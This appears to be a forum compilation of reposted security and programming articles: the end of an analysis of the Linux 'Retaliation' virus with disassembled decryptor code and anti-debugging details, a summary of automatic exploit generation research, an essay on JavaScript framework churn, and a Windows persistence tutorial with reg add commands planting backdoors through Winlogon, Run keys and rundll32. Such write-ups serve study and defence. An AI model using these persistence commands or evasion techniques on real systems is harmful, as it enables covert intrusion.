virus makes sub-routine calls using 0xcc 632 times and system calls using 0xf1 25 times. Breakpoint detection The Virus additionally includes a sub-routine which checks for a INT3 (0xcc) breakpoint at the callees return address to detect attempts to skip over a sub-routine in a debugger. This same routine additionally checks if callee has been patched or if the Trace Flag (TF in the eflags register) is enabled. If any of these conditions are met the virus overwrites itself in memory with garbage. A total of 65 procedures in the virus make use of this check. As a final defense, the code for this trace/breakpoint check is used as part of the key to decrypt the encrypted blocks in the virus to prevent patching. PLT/GOT function hooking In addition to the already myriad techniques I have discussed so far, the retaliation virus also implements runtime hooking of 13 different shared library functions. The Virus uses PLT/GOT poisoning. This means that hooks are implanted in the global offset table entries of certain shared library functions, and are used primarily as a means to hijack glibc VFS calls such as open/stat/fstat etc. in order to find more files to infect. Specifically the following functions are hijacked at runtime, and therefore will not show up in static analysis of the .got.plt section. open, fopen, fopen64, __xstat, __lxstat, __xstat64, __lxstat64, __openat2, open64, bfd_openr, execve, signal, sigaction The VFS functions are hijacked in order to infect a larger range of files, by capturing the filenames that are being passed into these functions. The signal functions (signal, and sigaction), I presume are to prevent the host from being able to replace the SIGILL and SIGTRAP handlers (which are discussed above). I made several attempts to try and prevent the signal handlers from being re-patched under the assumption that if relro (read-only relocations) is being used, then the GOT should be read-only after the dynamic linker is done with it. To be certain I set LD_BIND_NOW=1 prior to running an infected goat file that uses and triggers its own SIGTRAP/SIGILL sighandlers. I do not see that the Virus mprotect's the GOT anywhere. I'd like to say that this test is inconclusive, but the virus seems to win out, so perhaps I am missing something. Random Decoding Algorithm (RDA) The Virus attempts to further complicate disinfection by using the classic Random Decoding Algorithm. This algorithm works as follows: Encryption: The CRC32 checksum of the data to be encrypted is taken and stored at the end of this data. A random 15-bit key is chosen. The same simple polymorphic engine used to encrypt blocks of code is called to encrypt the data. Decryption: The key is set to zero. The polymorphic engine is called with the key and the virus attempts decryption of the data. If the CRC32 checksum matches the decrypted data the process is complete. Otherwise, the data is re-encrypted with the key. The key is incremented and the process is repeated from step 2. Eventually the corrected key is found. Threepieces of restoration data are encrypted with this algorithm as listed: 48-bits containg the hosts .data address and size for decryption. 128-bits containing the BTEA-128 key for decrypting .data. 32-bits containg the two 16-bit values used to identify patched instruction sequences in.text. Additionally each of the 93 entries in the table describing the different system calls that can be generated by the polymorphic engine are encrypted using the same routines. If all 32,768 keys are exhausted during decryption without success the virus displays the following message and terminates the host. Break screen in case of virus writer gone mad. Activation Routine Retaliation also carries an activation routine. If a file has been infected for more than 90 days and is still on the machine it was originally infected on, it displays the following message for 7 seconds: <<=- [Linux64.Retaliation V1.0] - Coded by JPanic - Australia 2013/2014 -=>> Polymorphic Engine Retaliation uses a complex but unusually large polymorphic engine at 14,938 bytes. Polymorphy is achieved by creating a random encryption alogrithm, encrypting the virus body with it and then generating a corresponding decryption routine using random registers and instructions, optionally with random "junk" instructions in-between the real ones. Some sample code is given at the end of this section. The basic template of a decryptor is pushing all 64-bit integer registers (and optionally flags), decrypting the virus and calling it, and then popping back all registers and returing control to the host. The engine is partially "slow", choosing the parameters of the decryptor only once per run, but choosing different instructions every infection. Decryptors may be 8/16/32-bit, forwards or backwards, and with an increasing or decreasing 16/32/64-bit counter. There may be one or two pointer registers, one or 2 key registers and always one count register and one text register. Encryption/decryption is achieved by modifying the key register(s) with sequences of ADD,SUB,XOR,ROL,ROR,NOT,NEG instructions using an immediate, the key or count register, or CL in the chance of rol/ror as the 2nd argument. Care is taken not to generate redundant sequences like an ADD followed by a SUB, or two XOR instructions in a row. They text register is then combined with the key register using an ADD/SUB/XOR.. The pointer registers are incremented/decremented using combinations of multiple INC,DEC and ADD,SUB imm/reg instructions. The counter is incremented/decremented using a single INC,DEC,ADD,SUB instruction followed by an optional "test" of the register using CMP,TEST,AND,OR,XOR,ADD,SUB with an appropriate argument. The final loop instruction can be on of JNZ,JC,JNC,JG,JL,JGE,JNO,JS or the condition can be inverted and followed by a JMP NEAR (E9). Junk instructions contain about 98% of the x64 integer instruction set, andmemory read or writes using RIP-relative, RSP-relative, or Reg64 relative encodings. Infected executables are always decrypted in place and may have 1 to 4 layers of encryption. "Junk" is always present in executable infections to some degree - there may be just simple sequences of instructions or more complex combinations forming IF/THEN or LOOP branches, CALL's to sub-routines (containing more junk) and SYSCALL's including a check of their return value. In the case of junk memory reads, the decryptor may read from the stack, or from the host's .data,. rodata, or .bss. In the case of memory writes, data may be written to the stack or .bss. In such cases, the .bss section is zero'd before returning control to the host. Junk IF/THEN's, LOOP's, and CALL <subroutines> maybe recursive to a variable depth. Any of these may contain instances of more of these. For example, a junk LOOP may contain a CALL to a junk subroutine, which may contain a junk SYSCALL. See example given below. CALL's may be forwards or backwards. The virus holds a 93-item table describing possible junk SYSCALL's. Each entry describes one System Call - the SYSCALL number, the type of parameters and the error code it should return. Error codes can be checked with explicit compares branching to bad code, or ADD/SUB'd to create a destination for a JMP Reg64 instruction. Each of the 93 entries is individually RDA encrypted and the entire table is shuffled every run. Decryptors in relocatable files have some differences. Firstly, they are always a single layer. Secondly, the virus stores a varaible in .bss, which is initialized to zero. This value is tested with a compare and a JNZ,JPO,JS everytime the decryptor is called. The first time the decryptor is called it sets this variable to a non-zero value. This avoids the virus being decrypted and executed more than once - the decryptor is skipped if the variable contains a non-zero value. Finally since .text is read-only and .data is non-executable, the decryptor allocates memory dynamically through a polymorphic call to sys_mmap with semi-variable values. The virus is then decrypted to this buffer if the mmap call succeeds. Once the virus is called, the decryptor returns control to the original (hi-jacked) function. There are some differences between executable infections and relocatable infections regarding "junk" as well. Only 50% of relocatable files have junk instructions. The ones that do only contain simple instructions, no branches, loops, sub-routines, or syscalls. Finally, junk memory read/writes may only be to the stack. Since the virus does not know the address that each section will be linked into the executable, relocation items are created for the decryptor as needed. Example Junk - Syscall with infinite loop if wrong error level returned LOAD:0000000000824BEB mov rax, 56h LOAD:0000000000824BF5 bt ebp, 14h LOAD:0000000000824BF9 btc r10d, r13d LOAD:0000000000824BFD btr r14d, 10h LOAD:0000000000824C02 syscall LOAD:0000000000824C04 neg eax LOAD:0000000000824C06 add eax, 0FFFFFFF2h LOAD:0000000000824C09 jnz loc_824BB5 Example Junk - Recursive loops with a call to a junk subroutine. loc_80BAD8:LOAD:000000000080BAD8 loc_80BAD8: ; CODE XREF: start+71Aj LOAD:000000000080BAD8 btc r15w, si LOAD:000000000080BADD btr r15, 33h LOAD:000000000080BAE2 mov ax, 0FFA0h LOAD:000000000080BAE6 neg rax LOAD:000000000080BAE9 cmpxchg ah, bh LOAD:000000000080BAEC and word ptr [rsp+0A8h+var_80], 0FFA0h LOAD:000000000080BAF2 imul r15w, [r13+0] LOAD:000000000080BAF8 call sub_80BC81 LOAD:000000000080BAFD mov r11d, 5Fh LOAD:000000000080BB03 cmpxchg bh, ah LOAD:000000000080BB06 xchg r12b, byte ptr [rsp+0A8h+var_90] LOAD:000000000080BB0B cmpxchg al, cl LOAD:000000000080BB0E ror [rsp+0A8h+var_80], 13h LOAD:000000000080BB14 sub bp, 1 LOAD:000000000080BB18 jnz short loc_80BAD8 LOAD:000000000080BB1A pop r12 LOAD:000000000080BB1C pop rbp LOAD:000000000080BB1D pop rbx LOAD:000000000080BB1E sub edi, 1 LOAD:000000000080BB21 jb short loc_80BB98 LOAD:000000000080BB23 imul ebx, [r13+0], 6Eh ... LOAD:000000000080BC81 LOAD:000000000080BC81 sub rsp, 18h LOAD:000000000080BC85 xchg r15w, si LOAD:000000000080BC89 cmpxchg ch, bh LOAD:000000000080BC8C mov [rsp+18h+var_18], cx LOAD:000000000080BC91 bswap rbx LOAD:000000000080BC94 not bl LOAD:000000000080BC96 pop r8 LOAD:000000000080BC98 pop rsi LOAD:000000000080BC99 pop r11 LOAD:000000000080BC9B retn Example Decryptor - Relocatable with no junk and minimum encryption level public x .text:0000000000000087 x proc near ; CODE XREF: main+13p .text:0000000000000087 push r11 .text:0000000000000089 push rsi .text:000000000000008A push r14 .text:000000000000008C push r10 .text:000000000000008E push rbp .text:000000000000008F push r12 .text:0000000000000091 push r8 .text:0000000000000093 push rbx .text:0000000000000094 push rcx .text:0000000000000095 push rax .text:0000000000000096 push r15 .text:0000000000000098 push r13 .text:000000000000009A push rdx .text:000000000000009B push r9 .text:000000000000009D push rdi .text:000000000000009E mov r14, offset BSS_DecryptionFlag .text:00000000000000A8 mov bl, [r14] .text:00000000000000AB test bl, 0FFh .text:00000000000000AE jnz SkipDecryption .text:00000000000000B4 mov byte ptr [r14], 0FFh .text:00000000000000B8 and byte ptr [r14], 40h .text:00000000000000BC mov bh, 5 .text:00000000000000BE mov r11, 25949 .text:00000000000000C8 mov bp, 63EFh .text:00000000000000CC push r11 .text:00000000000000CE mov rdx, 7 .text:00000000000000D8 push 0 .text:00000000000000DA pop r9 .text:00000000000000DC mov r8, 0FFFFFFFFFFFFFFFFh .text:00000000000000E6 mov rsi, 0ACE0h .text:00000000000000F0 xor rax, rax .text:00000000000000F3 add rax, 9 .text:00000000000000F7 push 0 .text:00000000000000F9 pop rdi .text:00000000000000FA push 22h .text:00000000000000FC pop r10 .text:00000000000000FE syscall .text:0000000000000100 mov r9, rax .text:0000000000000103 pop r11 .text:0000000000000105 cmp r9, 0FFFFFFFFFFFFF001h .text:000000000000010C jnb SkipDecryption .text:0000000000000112 push r9 .text:0000000000000114 sub r9, 0FFFFFFFFFFFF9C11h .text:000000000000011B .text:000000000000011B DecryptorLoop: ; CODE XREF: x+B2j .text:000000000000011B mov bl, [r11] .text:000000000000011E not bh .text:0000000000000120 xor bh, 0B6h .text:0000000000000123 ror bh, 3 .text:0000000000000126 sub bl, bh .text:0000000000000128 mov byte ptr [r9], 0FFh .text:000000000000012C and [r9], bl .text:000000000000012F dec r9 .text:0000000000000132 sub r11, 1 .text:0000000000000136 dec bp .text:0000000000000139 jge DecryptorLoop .text:000000000000013F pop r12 .text:0000000000000141 sub r12, 0FFFFFFFFFFFFFFA0h .text:0000000000000145 call r12 .text:0000000000000148 .text:0000000000000148 SkipDecryption: ; CODE XREF: x+27j .text:0000000000000148 ; x+85j .text:0000000000000148 pop rdi .text:0000000000000149 pop r9 .text:000000000000014B pop rdx .text:000000000000014C pop r13 .text:000000000000014E pop r15 .text:0000000000000150 pop rax .text:0000000000000151 pop rcx .text:0000000000000152 pop rbx .text:0000000000000153 pop r8 .text:0000000000000155 pop r12 .text:0000000000000157 pop rbp .text:0000000000000158 pop r10 .text:000000000000015A pop r14 .text:000000000000015C pop rsi .text:000000000000015D pop r11 .text:000000000000015F push cs:OriginalProc .text:0000000000000165 retn Final Words As shown this Virus combines together many strengths: precision engineering, innovations in anti-debugging, function level polymorphism, and myriad other features that we discovered and discussed in this profile. If you are interested in obtaining Virus samples, or have any questions please don't hesitate to contact me. elfmaster@zoho.com Sursa: Ryan O'Neill 'An unofficial analysis of the Retaliation Virus (Authored by JPanic)' (VX heaven)
-
AEG: Automatic Exploit Generation on Source Code The automatic exploit generation challenge we address is given a program, automatically find security-critical bugs and generate exploits. Our approach uses a novel formal verification technique called preconditioned symbolic execution to make automatic exploit generation more scalable to real-world programs than without it. We implemented our techniques in a system called AEG, which we use to automatically generate 16 exploits for 14 open-source projects. Two of the generated exploits are against previously unknown vulnerabilities. The hard part, in our experience, was exploring the state space efficiently to find bugs, determine the problem, and generate an initial input that triggers the bug. The core of our paper is a technique called preconditioned symbolic execution, which provides better scalability for finding exploitable bugs than when using previous symbolic execution techniques. The main idea is to guide symbolic execution to program paths that are more likely to be exploitable. Basic symbolic execution tends to try and explore all paths, which is more expensive. Our implementation is built on top of KLEE, a great symbolic execution engine from researchers at Stanford. We are very excited about these results, and think they show a real step forward in state of the art. Don't take this to mean we believe it's a solved problem. Our future work focuses on scaling to larger and more programs, to more types of exploits, and to other relevant problem settings. There is plenty still to do. We presented our paper at NDSS 2011. The most current copy of our paper. PDF BiBTeX Help us find typos in our paper and join our thank you list. The camera-ready version for NDSS. The above is the update; this is here mostly for historical reasons. PDF For those of you interested in watching, we've prepared a youtube video of our experiments. We have a short talk that gives a high-level overview of our take on the problem, the direction, and our project. Also note that due to youtube time lengths, we left out several important things such as the related work. That stuff is important, but we just couldn't fit everything in. Please see the paper for more information. As a random link related to exploits, CMU runs a Capture the Flag team. See their website :: Plaid Parliament of Pwning ::. Sursa: djb research: Automatic Exploit Generation
-
The State of JavaScript in 2015 The JavaScript world seems to be entering a crisis of churn rate. Frameworks and technologies are being pushed out and burned through at an unsustainable speed. But I think the community will adapt and adopt new practices in response. Developers will move, I believe, from monolithic frameworks like Angular.js and Ember to a ‘pick n mix’ of small, dedicated libraries to mitigate the risk of churn and to allow solutions to different concerns to compete separately. Obviously, this post has big red ‘opinion’ stickers over it. But hear me out. Churn At the close of 2014, it’s difficult as a JavaScript developer to back a particular library or technology with confidence. Even the mighty Angular, which seemed set to establish itself as the One True Framework of Single Page Applications, looks destabilized by recent events. Let me explain. In case you haven’t been paying much attention to the <ng-community>, October saw the 2014 ng-europe conference, where the Angular developer team revealed significant updates about the roadmap for Angular 2.0. One of the more controversial revelations was that NG2.0 would be completely backwards-incompatible with existing Angular code. In fact, several key concepts would be shelved in favour of a brand new architecture. Angular developers would effectively have to get to grips with an entirely new framework. Understandably, this has upset a lot of people. Rightly or wrongly, the perception was that the knowledge, practices and code that Angular developers had worked so hard on over the last two years had now been arbitrarily deprecated. Worse, the replacement wasn’t even around the corner – it was supposed to be twelve months away. New projects, the naysayers felt, were effectively going to be ‘born to die’ once Angular 2.0 was released in late 2015. I honestly didn’t think it was possible for the Angular team to do anything in the 2.0 release that would turn me off. All of the talk of offline first capabilities and dropping support for old browsers to make way for new things sounded great. This is a mess. The syntax looks like hot shit, and the huge gap between this and 1.3 means those of us with real jobs where projects live for years and years have to back off. I can’t tell my boss that we’re going to build something incredible, but that we need to plan for a code only, no new features rewrite in 18 months. jbarkett, Reddit Response to the Announcement on Reddit’s R/programming Board There’s a lot of umbrage in that thread directed towards Angular and Google specifically – some of it fair, some perhaps less so. But one of the highest upvoted comments wasn’t about Angular at all – it was targetted towards the whole JavaScript environment: As many others here have observed, fashionable webdev now is beyond a joke; I’m seriously glad I got out of it when I did. Once you’re forced to actually deal with this nonsense you either run screaming for the exits or go insane. It’s not even fragmentation, it’s fragmentation cubed. I’ve lost count of the number of MVmumble frameworks I’ve seen pitched as “a framework using Foo, Bar and Baz”, where Foo turns out to be a event library you’ve never heard of with 3% usage share, Bar is a templating library you’ve never heard of with 2% share and Baz is a databinding library you’ve never heard of with 1%, making the combination useful to… I dunno, the author, maybe, for the next five minutes until he switches to a new set of libraries. I don’t understand. I don’t understand why anyone thinks this is a good idea. I’ve seen code produced by people using this stuff, and it’s just unbelievably awful, because nobody has time to understand anything when it changes every thirty seconds. othermike, Reddit Another Response to the Selfsame Post Othermike’s issues seem to me really to be issues of churn. There are just too damn many JavaScript frameworks, and they’re changing too damn fast too. Two years ago, JavaScript was ablaze in its own Renaissance, fuelled by a move towards more modern, more standardized browsers (i.e. not Internet Explorer) and the discovery of Node.js as a technology for powering front end build tools. All manner of new technologies came forth. As little as twelve months ago is seemed a fait accompli that the modern web would be dominated by Backbone.js (maybe using Marionette), with Grunt as a task runner, Require.js and Handlebars-based templating. Yet six months later, these technologies had all apparently been replaced, if the blogosphere was anything to go by – now, it was all about Angular, Gulp and Browserify. And now this stack seems questionable too. Is this pace of change sustainable? I’m frankly overwhelmed of being exposed to new technologies. noname123 HackerNews Innovation is great, but this kind of churn rate seems excessive. It’s just not possible for developers to make large, upfront investments of time in getting to grips with new frameworks and technologies when there’s no guarantee of their longevity. Programmers want to program – they want to build things, and be masters of their craft. But how can we get anything done when we’re spending most of our time learning? How can we feel like craftsmen when we’re scrabbling in the dark with unfamilar tech? Once, corporate sponsorship or the backing of a large organization might have provided a beacon. We could look at a framework built by Google, Adobe or Microsoft, and believe that their support meant a long lifespan and careful stewardship. After the crises of Flex and Silverlight, that time is past. It’s not just the prospect of our tools being deprecated that’s worrying, though. It’s the idea that we might make the wrong bet; get in bed with a technology only to discover that something new and substantially better is coming over the horizon. If it’s now ‘obviously’ a non-starter to use Grunt, or Backbone, or Require, who’s to say that it won’t be ‘obviously’ a non-starter to use whatever tech we’re considering today six months’ down the line? It’s not hopeless So the situation is difficult. But people are clever, developers are resourceful, and the demand to write new apps isn’t going to let anyone give up. So what are we going to do? I think there are three key lessons we can adopt: Treat new technology with healthy scepticism. Be wary about pushing that cool new Github project into production. Wait until something is commonly used, has lots of bugfixes and is generally proven beyond doubt to be mature. Wait until the inevitable horror stories (all technologies have horror stories) and tales from the trenches about the use of X or Y in production. Be less trustful of corporate backing. This isn’t the first time Google have pulled the rug out from under the feet of developers reliant on its ecosystem. Go ask anyone who’s had to deal with their web APIs. Companies act in irrational and self-harmful ways all the time. And their interests may not always be the same as yours. Prefer dedicated libraries to monolithic frameworks. When you choose a framework, you make a large, long term committment. You sign up to learn about the framework’s various inner workings and strange behaviours. You also sign up to a period of ineffectiveness whilst you’re getting to grips with things. If the framework turns out to be the wrong bet, you lose a lot. But if you pick and choose from libraries, you can afford to replace one part of your front end stack whilst retaining the rest. I think this third practice is already underway. Libraries > frameworks? In the aftermath of the Angular controversy, another Reddit thread asked what technologies JavaScript developers felt like migrating to. Here’s what r/javascript had to say: React.js with Flux (a view-only library and an eventing module) Ember.js (a full MVC framework) Knockout.js (view-only library) Backbone.js (full MVC framework) Meteor (full isomorphic framework) Mithril (full MVC framework) Ember (full MVC framework) ‘No framework; just lots of libraries’ Vue.js (view-only library) Breeze.js (model-only library) Ractive (view-only library) What’s interesting is how many of the options aren’t full-fledged frameworks at all, but specialized libraries – mostly for data binding to the DOM. One person suggested “no monolithic framework but modular components that do one thing well”. Here’s how one person responded: I really think this is the best answer. There will never be a perfect framework so you can just hack the most relevant features together using npm. I find the documentation of these small components is often really simple. Any problems and there’s no waiting for the next release of the entire framework, you simply throw up an issue, the authors fix it, push it and then bam it’s on npm for everyone else and no other components have been disturbed. If you find you don’t like the templating language or error handling, you don’t have to rethink the entire project, you just hot-swap the component for another and you’re on your way again. krazyjaykee, Reddit Now That AngularJS Has Gone Down a Bit of a Weird Route, What Are Some Good Alternatives? I feel this way too. By using small libraries – components with a dedicated purpose and a small surface area – it becomes possible to pick and mix, to swap parts of our front end stack out if and when they are superceded. New projects can replace only the parts that matter, whilst core functionality whose designs are settled – routing APIs, say – can stay exactly the same between the years. Libraries stop being an all-or-nothing proposition. What if you like Angular’s inversion of control containers, but hate its data binding? No problem – you can just choose what you like from NPM and get going right away. You can move your legacy projects (read: the ones that make your employer money) to new technologies incrementally, rather than rewriting everything, providing you stick to good practices and wrap those libraries carefully. What’s more, when different problems are answered by different libraries, their solutions can compete directly. If Framework A does X well and Y badly, compared to Framework B’s great Y and shaky X, you’re stuck. But if Library A and B both try and do X, they can compete in a direct fashion in discrete and measurable ways. tl;dr The churn rate of front end JavaScript technologies is problematic People are starting to feel burned out and alienated by the pace of change The answer might be to eschew monolithic frameworks in favour of microlibraries Of course, we’ll see how much of this actually happens in 2015. It’s entirely possible that Angular’s dominance will remain stable despite the wailing and gnashing of teeth – it is, after all, popular for a very good reason. If so, Angular’s position could be secured in an industry looking for standards and stability amongst the turbulence of the last two years. It’s also possible that another monolith might take Angular’s place. An informal combination of React, Flux and Browserify seems the obvious candidate. Whatever happens, it’s hard to see the technology slowing down. Let’s see what happens. Come tell me what you reckon on Twitter Posted by Jimmy Breck-McKye Dec 1st, 2014 Sursa: The State of JavaScript in 2015 - Jimmy Breck-McKye
-
[h=2]Windows Userland Persistence Fundamentals[/h] This tutorial will cover several techniques that can be used to gain persistent access to Windows machines. Usually this doesn't enter into play during a pentest (with the exception of red team engagements) as there is no benefit to adding it to the scope of the project. That is not to say it is not an interesting subject, both from a defensive and offensive perspective. As the title indicates, we will only be covering userland. It should be noted that advanced persistence mechanisms go far beyond that, kernel rootkits (such as custom NDIS protocol drivers) or even going out-of-band (System Management Mode, Rogue Hypervisors). [h=2]On The Run With The Windows Registry[/h] Tampering with the Windows registry is probably the most common and transparent way to set up persistent access to a windows machine. Using the registry we can execute batch files, executables and even exported functions in DLL's. Before we get started I just want to explain the difference between "HKEY_LOCAL_MACHINE" (HKLM) and "HKEY_CURRENT_USER" (HKCU). HKLM keys are run (if required) every time the system is booted while HKCU keys are only executed when a specific user logs on to the system. Links: Microsoft DOS reg command - here Userinit - here Run and RunOnce Registry Keys - here RUNDLL and RUNDLL32 - here # The usual suspects. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Subverting Winlogon: As per the Micorsoft TechNet description; the Userinit registry key defines which programs are run by Winlogon when a user logs in to the system. Typically Winlogon runs Userinit.exe, which in turn runs logon scripts, reestablishes network connections, and then starts explorer. Below we can see the "default" content for the Winlogon registry key. # Windows 7 machine. C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} Userinit REG_SZ C:\Windows\system32\userinit.exe VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 WinStationsDisabled REG_SZ 0 DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x5 AutoAdminLogon REG_SZ 0 DefaultUserName REG_SZ Fubar HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked There is (almost) no legitimate reason to modify the "Userinit" registry key so if you ever encounter a non-default value here you should hear alarm bells going off. As it turns out we can simply modify the key and prepend the userinit.exe executable with our own malicious binary/script. C:\Windows\system32> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe" Value Userinit exists, overwrite(Yes/No)? Yes The operation completed successfully. C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} Userinit REG_SZ C:\Some\Evil\Binary.exe,C:\Windows\system32\userinit.exe VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 WinStationsDisabled REG_SZ 0 DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x5 AutoAdminLogon REG_SZ 0 DefaultUserName REG_SZ Fubar HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked With the modification shown above any user login will trigger the execution of our evil "Binary.exe". This is definitely pretty obtrusive. For stealth purposes it would be much better to backdoor the userinit executable or rename it and load a different binary (with the same name) that has an epilog which calls the original executable. Run and RunOnce: Our other option is to abuse the HKLM/HKCU Run/RunOnce registry keys. Run and RunOnce serve different purposes, as the name indicates, RunOnce is only executed once after the affected user logs in while Run is persistent across logins. There are some interesting oddities to take note of with these registry keys. (1) The RunOnce key is deleted on login, even if it fails to execute, to prevent this you should prefix the value with an exclamation mark (!). Doing so will attempt to execute the key again on the next login. (2) Both the Run and RunOnce keys are not executed when booting into safe mode, to force their execution you can prefix the key value with an asterisk . We can easily query the various Run keys. C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" These registry keys have a pretty straight forward structure. For example, from the output above, we can see that any user logon will trigger the VMWare Tools service to start up. Similarly it is very easy to add our own malicious registry key. C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilKey /t REG_SZ /d "C:\Some\Evil\Binary.exe" The operation completed successfully. C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr EvilKey REG_SZ C:\Some\Evil\Binary.exe RUNDLL and RUNDLL32: I wanted to mention rundll separately. Rundll has been around for a very long time, it is used to directly access shared code that is stored in DLL files. As a normal user there should be no reason to interact with DLL's in this way, perhaps with the exception of batch scripting. Rundll is useful to us because it adds an extra layer of abstraction to the persistence. Hijacking a function inside a legitimate dll and redirecting execution flow to our shellcode will be much more difficult to detect than launching a malicious executable or batch file. For demonstration purposes we can generate a messagebox dll using msfpayload. root@Josjikawa:~# msfpayload windows/messagebox text='Rundll32 Backdoor' D > /root/Desktop/evil.dll Created by msfpayload (Penetration Testing Software | Metasploit). Payload: windows/messagebox Length: 270 Options: {"TEXT"=>"Rundll32 Backdoor"} We can execute our payload by passing the function name (@DllMain12) as a parameter to rundll. C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilRundll /t REG_SZ /d "C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @DllMain12" The operation completed successfully. C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr EvilRundll REG_SZ C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @DllMain12 Got shell? Below you can see a screenshot of these three registry persistence techniques in action. On Boot All three backdoors are run moments after explorer finishes starting up. In this case the Winlogon and Run keys are executing batch scripts located on the desktop. ? [TABLE] [TR] [TD=class: code]@echo off for /f %%i in ('time /T') do set _time=%%i echo Backdoor started at %_time% systeminfo | find /i "Boot Time" echo. pause [/TD] [/TR] [/TABLE] [h=2]Scheduled Backdoors[/h] Next we will have a look the available task scheduling options in Windows. Scheduling is useful, we can run tasks with different permission sets and trigger the task using events or at specific time intervals. Let's see if we can't book an appointment for our backdoor! Links: Schtasks [Microsoft Technet] - here Wevtutil [Microsoft Technet] - here Eventcreate [Microsoft Technet] - here Event-O-Pedia (FTW) - here Security events in Windows 7 and Server 2k8 [Microsoft Support] - here AT [Microsoft Technet] - here Schtasks: If you have never used schtasks you will be amazed by the extensive features and flexibility that it has. For your convenience you can see the task creation options below (use "schtasks /?" for full options). C:\Windows\system32> schtasks /Create /? SCHTASKS /Create [/s system [/u username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/i idletime] /TN taskname /TR taskrun [/sT starttime] [/RI interval] [ {/ET endtime | /DU duration} [/K] [/xml xmlfile] [/V1]] [/sD startdate] [/ED enddate] [/iT | /NP] [/Z] [/F] Description: Enables an administrator to create scheduled tasks on a local or remote system. Parameter List: /S system Specifies the remote system to connect to. If omitted the system parameter defaults to the local system. /U username Specifies the user context under which SchTasks.exe should execute. /P [password] Specifies the password for the given user context. Prompts for input if omitted. /RU username Specifies the "run as" user account (user context) under which the task runs. For the system account, valid values are "", "NT AUTHORITY\SYSTEM" or "SYSTEM". For v2 tasks, "NT AUTHORITY\LOCALSERVICE" and "NT AUTHORITY\NETWORKSERVICE" are also available as well as the well known SIDs for all three. /RP [password] Specifies the password for the "run as" user. To prompt for the password, the value must be either "*" or none. This password is ignored for the system account. Must be combined with either /RU or 